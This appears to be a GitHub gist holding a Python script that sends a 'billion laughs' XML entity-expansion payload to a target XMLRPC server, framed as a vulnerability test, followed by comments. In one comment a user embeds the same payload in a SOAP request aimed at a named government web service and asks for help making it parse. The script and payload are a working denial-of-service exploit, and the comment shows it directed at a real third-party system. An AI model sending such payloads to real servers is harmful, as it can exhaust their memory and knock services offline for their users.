Billion laughs attack test.

README

Gist to test if your XMLRPC server is susceptible to the "billion laughs" attack.
See https://docs.python.org/2/library/xml.html#xml-vulnerabilities.

billion_laughs.py

#!/usr/bin/env python

# The MIT License (MIT)
#
# Copyright (c) 2014 Damien Nozay
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.


# see vulnerabilities affecting xml parsing libraries:
# https://docs.python.org/2/library/xml.html#xml-vulnerabilities
# see also CVE-2003-1564 and http://en.wikipedia.org/wiki/Billion_laughs

BILLION_LAUGHS = '''\
<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>'''

def billion_laughs_dumps(*args, **kwargs):
    return BILLION_LAUGHS

def trigger_billion_laughs(url):
  '''
  Trigger billion laugh attack on target xmlrpc server.
  Please don't try this on a production server.
  '''
  import xmlrpclib
  # monkey-patch xmlrpclib to high-jack any remote call; and instead of
  # generating the xml for the request, send a malicious one.
  xmlrpclib.dumps = billion_laughs_dumps
  target_server = xmlrpclib.ServerProxy(url)
  # trigger remote call.
  target_server.system.listMethods()

I'm testing webservices....
This should be smarter (not offensive)

I'm looking to parse SOAP + TDT like the following, can you help me?

I'm complicated with the structure of DTT The response says: ".........; Undeclared general entity "lol9"" Example:

POST https://fXXXX/YYYYY HTTP/1.1
User-Agent: Mozilla/5.00
Host: fwshomo.afip.gov.ar
Content-Type: text/xml; charset=UTF-8
SOAPAction: "http://xxxxxxx/yyyyyy"

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE SOAP-ENV:Envelope [
<!ELEMENT SOAP-ENV:Envelope (SOAP-ENV:Body) >
<!ELEMENT SOAP-ENV:Body (tns:consultarTiposCarneRequest)>
<!ELEMENT tns:consultarTiposCarneRequest (authRequest, codGrupoCarne)>
<!ELEMENT authRequest ANY>
<!ELEMENT codGrupoCarne (#PCDATA)>
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
  <SOAP-ENV:Body>
    <tns:consultarTiposCarneRequest xmlns:tns="http://xxxxx/yyyyyyyy/">
    <authRequest>
    <token>PD94bWZGluZz0iVVRGLTgiIHN0Y..........</token
    <sign>gg5KhYHC0ZISPBHD7XmpbcX9S3X..........</sign>
    <cuitRepresentada>1234565</cuitRepresentada>
    </authRequest>
    <codGrupoCarne>&lol9;</codGrupoCarne>
    </tns:consultarTiposCarneRequest>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>